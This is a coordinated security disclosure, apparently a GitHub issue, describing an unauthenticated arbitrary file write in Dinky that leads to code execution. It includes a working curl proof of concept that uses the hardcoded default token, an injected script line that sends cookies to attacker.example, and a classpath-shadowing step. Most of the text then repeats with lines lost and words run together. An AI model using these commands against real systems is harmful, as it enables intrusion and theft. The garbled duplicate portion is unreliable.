Public security disclosure — coordinated through VulnCheck (CNA)
This issue is posted publicly at the explicit request of VulnCheck, an authorised CVE Numbering
Authority, who are coordinating disclosure of this finding and need a public reference in order to
assign and publish a CVE identifier. VulnCheck CVD submission ID: 9061762d-07d1-4cb1-8699-0cb819c981ef.
Disclosure timeline
- 2026-07-30 — reported to VulnCheck for coordinated disclosure.
- 2026-08-03 — VulnCheck confirmed no published security contact exists for this project, no
release has shipped since 2025-11-05, and CVE-2026-3051 / 3052 / 3053 (assigned February 2026)
remain unfixed.
- 2026-08-04 — private GitHub security advisory
GHSA-2p66-w3p3-5226 filed with the maintainers.
- 2026-08-04 — this public issue opened so a CVE can be assigned.
Maintainers: I would still much prefer you handle this through the private advisory GHSA-2p66-w3p3-5226 and
publish your own GHSA. I am happy to re-test any fix. Please credit Asadbek Fatullayev.
Reporter: Asadbek Fatullayev — independent security researcher, Tashkent, Uzbekistan.
This is one of two separate issues reported on the same day. The other is the unauthenticated /api/sysConfig/getAll configuration/credential disclosure (GHSA-c48m-x2xw-32rj). They are
different routes, different methods and different CWEs — please do not treat them as duplicates.
SUMMARY
POST /download/uploadFromRsByLocal (DownloadController.uploadFromRs) puts the request parameter "path" straight into new File(path) + mkdirs() + transferTo(), with no path validation. It is unauthenticated (@SaIgnore; /download/** outside the Sa-Token interceptor), so the only guard compares a header to SystemConfiguration.dinkyToken, whose default efda1551-7958-4e0f-80a8-dfd107df3e38 is hardcoded in source and shipped to every deployment. Anyone reaching the Dinky port (8888 default) gets arbitrary file write as the Dinky service account, which I escalated to OS command execution in the Dinky JVM. Honest preconditions: writes are uid 9999(flink), NOT root (/etc, /root, /home, /usr refused), and code execution lands only at the next JVM start, which I triggered myself; the write and the SPA overwrite are immediate.
CWE AND CVSS (from my report; not re-scored)
CWE-434 (unrestricted file upload) with CWE-22 (path restriction failure); enabling CWE-798 (hardcoded credentials).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical (S:U not S:C; not 10.0). Fallback (confidentiality on the write alone): same vector, C:N = 9.1.
ROOT CAUSE - dinky-admin/src/main/java/org/dinky/controller/DownloadController.java, v1.2.5 (ce7678e); class @RequestMapping("/download") at :68
134: @PostMapping("uploadFromRsByLocal")
136: @SaIgnore
138: String path, @RequestParam("file") MultipartFile file, @RequestHeader("token") String token) {
140: if (!systemConfiguration.getDinkyToken().getValue().equals(token)) {
149: File dest = new File(path);
151: dest.getParentFile().mkdirs();
153: file.transferTo(dest);
Constrained sibling: :126 downloadFromRs -> BaseResourceManager.getInstance().readFile(path)
REACHABILITY, ONE HOP PER LINE
- Entry: multipart POST /download/uploadFromRsByLocal - DownloadController.java:68 + :134.
- "path" is unannotated and unvalidated (:138); the only guard is the token compare at :140.
- Token default hardcoded - dinky-common/src/main/java/org/dinky/data/model/SystemConfiguration.java:132.
- Guards 2-3 resourcesEnable/resourcesModel (:143-144) default permissive - SystemConfiguration.java:268,:278.
- Sink - :149-153.
- Escalation - script/bin/auto.sh:161 and :217 put /opt/dinky first on the launch classpath, so /opt/dinky/org/dinky/Dinky.class shadows the main class.
Auth config read: AppConfig.addInterceptors() (dinky-admin/src/main/java/org/dinky/configure/AppConfig.java:73-94) is the only Sa-Token interceptor - includes "/api/","/openapi/" (:87), excludes "/download/**" (:92); no other filter or Spring Security in dinky-admin (grep: 0).
DEFAULT-CONFIGURATION REACHABILITY
deploy/docker/docker-compose.yml:4-7 - image "dinkydocker/dinky-standalone-server:${DINKY_VERSION}-flink${FLINK_VERSION}", ports "8888:8888", no proxy or auth layer. Dockerfile:24 chmod -R 777 /opt/dinky/ (classpath, bin/, config/ writable); Dockerfile:26 EXPOSE 8888. No SQL seed overrides it.
PROOF OF CONCEPT - ENVIRONMENT (stock image, zero env vars, zero configuration)
dinkydocker/dinky-standalone-server:1.2.5-flink1.14, digest sha256:871a1bea6d7832ad0fffd4b0d0b3546e3b1905bfddb973161072d93c617e6adf, amd64, built 2025-11-05T11:45:28Z; docker run -d --name pg0-dinky -p 18901:8888
$ curl -s http://127.0.0.1:18901/api/version -> {"data":"1.2.5","code":0,"msg":"Successfully","time":"2026-07-30 10:21:18"}
$ docker exec pg0-dinky ls /opt/dinky/lib -> dinky-admin-1.2.5.jar (JVM 1.8.0_345 as uid 9999(flink)). Fresh container; no /opt/dinky/org at baseline
PROOF OF CONCEPT - TRANSCRIPT (2026-07-30; no credential, cookie or session in ANY request)
$ U=http://127.0.0.1:18901/download/uploadFromRsByLocal ; S=/opt/dinky/config/static
$ TOK=efda1551-7958-4e0f-80a8-dfd107df3e38
$ post(){ curl -s -X POST "$U?path=$1" -H "token: $TOK" -F "file=@$2"; } # only header
NEG. CONTROL 1 - no token header
$ curl -s -X POST "$U?path=$S/pg0neg1.txt" -F "file=@pg0payload.txt"
{"code":5,"success":false,"msg":"Required request header 'token' ... is not present"}
NEG. CONTROL 2 - wrong token
$ curl -s -X POST "$U?path=$S/pg0neg2.txt" -H "token: wrong-token-aaaa" -F "file=@pg0payload.txt"
{"data":null,"code":1,"msg":"token is not correct","time":"2026-07-30 10:22:12","success":false}
$ docker exec pg0-dinky ls $S/pg0neg1.txt $S/pg0neg2.txt -> No such file or directory (both)
=> nothing written; the hardcoded-token compare is the ONLY gate.
STEP 1 - write (pg0payload.txt = "PG0-DINKY-ARBITRARY-WRITE-PROOF-2026-07-30")
$ post $S/pg0pwn.txt pg0payload.txt
{"data":null,"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:22:21","success":true}
$ docker exec pg0-dinky ls -la $S/pg0pwn.txt -> -rw------- 1 flink flink 43 Jul 30 10:22, content = marker
STEP 2 - overwrite the shipped SPA (md5 before 4250a4d614168ab66d7148b91f46ad70)
$ post $S/index.html pg0evil-index.html -> {"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:22:40"}
$ curl -s http://127.0.0.1:18901/ -> 200, text/html, 201 bytes (no restart):
PG0 DEFACED
<script>fetch("http://attacker.example/steal?c="+encodeURIComponent(document.cookie))</script>
NEG. CONTROL 3 - /etc/cron.d/pg0, /root/pg0, /home/flink/.bashrc, /usr/local/bin/pg0, /etc/profile.d/dinky_env: all "upload file failed", no file created.
STEP 3 - code execution by classpath shadowing. My org.dinky.Dinky class runs, in a static initialiser, /bin/sh -c "(echo PG0-RCE-PROOF; date; id; hostname) > /tmp/pg0-rce-proof.txt 2>&1"
$ post /opt/dinky/org/dinky/Dinky.class pg0classes/org/dinky/Dinky.class
{"data":null,"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:24:53","success":true}
$ docker restart pg0-dinky # restart triggered by me
$ docker exec pg0-dinky cat /tmp/pg0-rce-proof.txt
PG0-RCE-PROOF / Thu Jul 30 10:25:10 AM UTC 2026 / uid=9999(flink) gid=9999(flink) / c31dc66de2cb
logs: ### PG0-RCE-EXECUTED: attacker code running inside the Dinky JVM ###
IMPACT - only what I observed
Unauthenticated arbitrary write under /opt/dinky, /opt/flink and /tmp (lib, extends, bin, config), served over HTTP at once; the shipped SPA replaced by attacker JavaScript on the app origin, which any admin loading the login page runs; OS command execution as the service account at the next JVM start, an account owning the app, its config and classpath; plus persistent DoS: transferTo leaves mode 0600 on bin/auto.sh, the container CMD.
LIMITATIONS AND PRECONDITIONS, unsoftened
- Writes are uid 9999(flink), not root; /etc/cron.d, /root, /home/flink/.bashrc, /usr/local/bin, /etc/profile.d were refused. No root, no container escape, no Flink lateral movement.
- Code execution requires a service restart, which I triggered myself; not instantaneous RCE, and I do not present it as such.
- The execution vector is the classpath .class/jar drop, not auto.sh: overwriting auto.sh only loses the execute bit (availability, not execution).
- The linked unauthenticated /api/sysConfig/getAll disclosure (CWE-306/CWE-200, 7.5) is narrow: on a stock install only dinkyToken matters, and it is public in source anyway, so it is a force-multiplier, not a prerequisite - though it does mean rotating the token is no mitigation.
- No CVSS 10.0 - S:U, not S:C.
- Tested on the flink1.14 standalone image only; *-flink1.20 and tarball installs untested.
- My duplicate web sweep was narrower than I would like.
SUGGESTED FIX
At DownloadController.java:149-153, reject absolute paths: resolve beneath the configured resource root (SystemConfiguration.java:281), canonicalise and require startsWith(base.getCanonicalPath() + File.separator), or route it through BaseResourceManager like downloadFromRs() at :126-132. Also drop the hardcoded default at SystemConfiguration.java:132.
PRIOR-ART CHECK, re-run 2026-07-30
Repo security-advisories API: []. NVD keywordSearch=dinky -> only CVE-2026-3051, CVE-2026-3052, CVE-2026-3053 (other files/functions: GitRepository traversal, FlinkProxy SSRF, AppConfig auth on /openapi/**); GitHub advisory DB -> only GHSA-f256-j3x2-h7wh / -v2vh-hr2h-f29r / -w3pf-j6xr-fj68 (+ public_exp #5-#7). I flag CVE-2026-3053 as the nearest neighbour and ask you not to merge it. Repo/GitHub searches (EN+CN) for the endpoint name, dinkyToken, efda1551, 任意文件上传 -> 0, bar #1838 (unrelated closed bug) and 8 fork copies. DuckDuckGo for the endpoint name and token literal -> "No results found"; Bing -> spam; my WebSearch budget was exhausted, so no broad multi-engine/Chinese-forum sweep. UNPATCHED on the latest release (v1.2.5, 2025-11-05, newest tag, which I exploited) and on default branch dev HEAD 63b5a5a (2026-07-19), where uploadFromRs is byte-identical; no commits since 2025-11-01 touch either file.
Validation note: this was validated against the official released artifact named above, deployed locally in Docker. It was not tested against any third party's live production instance.
Mitigation for operators, until a fix ships
There is no fixed version at the time of writing. In the meantime:
- Do not expose the Dinky port (8888 by default) to untrusted networks or the internet. Put it
behind a VPN or an authenticating reverse proxy.
- Change
sys.env.settings.dinkyToken away from the shipped default
efda1551-7958-4e0f-80a8-dfd107df3e38. That default is hardcoded in the source and shipped to
every deployment.
- Block
/download/** and /api/sysConfig/getAll at the reverse proxy for any client that does not
need them.
- Rotate any credential that was ever entered into the Settings Center (LDAP bind password,
object-storage access/secret keys, DolphinScheduler API token) — on an exposed instance they must
be assumed disclosed.
Suggested fix
See the root-cause section above. In short: enforce the Sa-Token interceptor on the affected route,
and remove the method-level @SaIgnore / add proper path validation as applicable.
SUMMARY
POST /download/uploadFromRsByLocal (DownloadController.uploadFromRs) puts the request parameter "path" straight into new File(path) + mkdirs() + transferTo(), with no path validation. It is unauthenticated (@SaIgnore; /download/** outside the Sa-Token interceptor), so the only guard compares a header to SystemConfiguration.dinkyToken, whose default efda1551-7958-4e0f-80a8-dfd107df3e38 is hardcoded in source and shipped to every deployment. Anyone reaching the Dinky port (8888 default) gets arbitrary file write as the Dinky service account, which I escalated to OS command execution in the Dinky JVM. Honest preconditions: writes are uid 9999(flink), NOT root (/etc, /root, /home, /usr refused), and code execution lands only at the next JVM start, which I triggered myself; the write and the SPA overwrite are immediate.
CWE AND CVSS (from my report; not re-scored)
CWE-434 (unrestricted file upload) with CWE-22 (path restriction failure); enabling CWE-798 (hardcoded credentials).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical (S:U not S:C; not 10.0). Fallback (confidentiality on the write alone): same vector, C:N = 9.1.
ROOT CAUSE - dinky-admin/src/main/java/org/dinky/controller/DownloadController.java, v1.2.5 (ce7678e); class @RequestMapping("/download") at :68
134: @PostMapping("uploadFromRsByLocal")
136: @SaIgnore
138: String path, @RequestParam("file") MultipartFile file, @RequestHeader("token") String token) {
140: if (!systemConfiguration.getDinkyToken().getValue().equals(token)) {
149: File dest = new File(path);
151: dest.getParentFile().mkdirs();
153: file.transferTo(dest);
Constrained sibling: :126 downloadFromRs -> BaseResourceManager.getInstance().readFile(path)
REACHABILITY, ONE HOP PER LINE
Auth config read: AppConfig.addInterceptors() (dinky-admin/src/main/java/org/dinky/configure/AppConfig.java:73-94) is the only Sa-Token interceptor - includes "/api/","/openapi/" (:87), excludes "/download/**" (:92); no other filter or Spring Security in dinky-admin (grep: 0).
DEFAULT-CONFIGURATION REACHABILITY
deploy/docker/docker-compose.yml:4-7 - image "dinkydocker/dinky-standalone-server:${DINKY_VERSION}-flink${FLINK_VERSION}", ports "8888:8888", no proxy or auth layer. Dockerfile:24 chmod -R 777 /opt/dinky/ (classpath, bin/, config/ writable); Dockerfile:26 EXPOSE 8888. No SQL seed overrides it.
PROOF OF CONCEPT - ENVIRONMENT (stock image, zero env vars, zero configuration)
dinkydocker/dinky-standalone-server:1.2.5-flink1.14, digest sha256:871a1bea6d7832ad0fffd4b0d0b3546e3b1905bfddb973161072d93c617e6adf, amd64, built 2025-11-05T11:45:28Z; docker run -d --name pg0-dinky -p 18901:8888
$ curl -s http://127.0.0.1:18901/api/version -> {"data":"1.2.5","code":0,"msg":"Successfully","time":"2026-07-30 10:21:18"}
$ docker exec pg0-dinky ls /opt/dinky/lib -> dinky-admin-1.2.5.jar (JVM 1.8.0_345 as uid 9999(flink)). Fresh container; no /opt/dinky/org at baseline
PROOF OF CONCEPT - TRANSCRIPT (2026-07-30; no credential, cookie or session in ANY request)
$ U=http://127.0.0.1:18901/download/uploadFromRsByLocal ; S=/opt/dinky/config/static
$ TOK=efda1551-7958-4e0f-80a8-dfd107df3e38
$ post(){ curl -s -X POST "$U?path=$1" -H "token: $TOK" -F "file=@$2"; } # only header
NEG. CONTROL 1 - no token header
$ curl -s -X POST "$U?path=$S/pg0neg1.txt" -F "file=@pg0payload.txt"
{"code":5,"success":false,"msg":"Required request header 'token' ... is not present"}
NEG. CONTROL 2 - wrong token
$ curl -s -X POST "$U?path=$S/pg0neg2.txt" -H "token: wrong-token-aaaa" -F "file=@pg0payload.txt"
{"data":null,"code":1,"msg":"token is not correct","time":"2026-07-30 10:22:12","success":false}
$ docker exec pg0-dinky ls $S/pg0neg1.txt $S/pg0neg2.txt -> No such file or directory (both)
=> nothing written; the hardcoded-token compare is the ONLY gate.
STEP 1 - write (pg0payload.txt = "PG0-DINKY-ARBITRARY-WRITE-PROOF-2026-07-30")
$ post $S/pg0pwn.txt pg0payload.txt
{"data":null,"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:22:21","success":true}
$ docker exec pg0-dinky ls -la $S/pg0pwn.txt -> -rw------- 1 flink flink 43 Jul 30 10:22, content = marker
STEP 2 - overwrite the shipped SPA (md5 before 4250a4d614168ab66d7148b91f46ad70)
$ post $S/index.html pg0evil-index.html -> {"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:22:40"}
$ curl -s http://127.0.0.1:18901/ -> 200, text/html, 201 bytes (no restart):
PG0 DEFACED
<script>fetch("http://attacker.example/steal?c="+encodeURIComponent(document.cookie))</script>NEG. CONTROL 3 - /etc/cron.d/pg0, /root/pg0, /home/flink/.bashrc, /usr/local/bin/pg0, /etc/profile.d/dinky_env: all "upload file failed", no file created.
STEP 3 - code execution by classpath shadowing. My org.dinky.Dinky class runs, in a static initialiser, /bin/sh -c "(echo PG0-RCE-PROOF; date; id; hostname) > /tmp/pg0-rce-proof.txt 2>&1"
$ post /opt/dinky/org/dinky/Dinky.class pg0classes/org/dinky/Dinky.class
{"data":null,"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:24:53","success":true}
$ docker restart pg0-dinky # restart triggered by me
$ docker exec pg0-dinky cat /tmp/pg0-rce-proof.txt
PG0-RCE-PROOF / Thu Jul 30 10:25:10 AM UTC 2026 / uid=9999(flink) gid=9999(flink) / c31dc66de2cb
logs: ### PG0-RCE-EXECUTED: attacker code running inside the Dinky JVM ###
IMPACT - only what I observed
Unauthenticated arbitrary write under /opt/dinky, /opt/flink and /tmp (lib, extends, bin, config), served over HTTP at once; the shipped SPA replaced by attacker JavaScript on the app origin, which any admin loading the login page runs; OS command execution as the service account at the next JVM start, an account owning the app, its config and classpath; plus persistent DoS: transferTo leaves mode 0600 on bin/auto.sh, the container CMD.
LIMITATIONS AND PRECONDITIONS, unsoftened
SUGGESTED FIX
At DownloadController.java:149-153, reject absolute paths: resolve beneath the configured resource root (SystemConfiguration.java:281), canonicalise and require startsWith(base.getCanonicalPath() + File.separator), or route it through BaseResourceManager like downloadFromRs() at :126-132. Also drop the hardcoded default at SystemConfiguration.java:132.
PRIOR-ART CHECK, re-run 2026-07-30
Repo security-advisories API: []. NVD keywordSearch=dinky -> only CVE-2026-3051, CVE-2026-3052, CVE-2026-3053 (other files/functions: GitRepository traversal, FlinkProxy SSRF, AppConfig auth on /openapi/**); GitHub advisory DB -> only GHSA-f256-j3x2-h7wh / -v2vh-hr2h-f29r / -w3pf-j6xr-fj68 (+ public_exp #5-#7). I flag CVE-2026-3053 as the nearest neighbour and ask you not to merge it. Repo/GitHub searches (EN+CN) for the endpoint name, dinkyToken, efda1551, 任意文件上传 -> 0, bar #1838 (unrelated closed bug) and 8 fork copies. DuckDuckGo for the endpoint name and token literal -> "No results found"; Bing -> spam; my WebSearch budget was exhausted, so no broad multi-engine/Chinese-forum sweep. UNPATCHED on the latest release (v1.2.5, 2025-11-05, newest tag, which I exploited) and on default branch dev HEAD 63b5a5a (2026-07-19), where uploadFromRs is byte-identical; no commits since 2025-11-01 touch either file.
Validation note: this was validated against the official released artifact named above, deployed locally in Docker. It was not tested against any third party's live production instance.
Mitigation for operators, until a fix ships
There is no fixed version at the time of writing. In the meantime:
behind a VPN or an authenticating reverse proxy.
sys.env.settings.dinkyTokenaway from the shipped defaultefda1551-7958-4e0f-80a8-dfd107df3e38. That default is hardcoded in the source and shipped toevery deployment.
/download/**and/api/sysConfig/getAllat the reverse proxy for any client that does notneed them.
object-storage access/secret keys, DolphinScheduler API token) — on an exposed instance they must
be assumed disclosed.
Suggested fix
See the root-cause section above. In short: enforce the Sa-Token interceptor on the affected route,
and remove the method-level
@SaIgnore/ add proper path validation as applicable.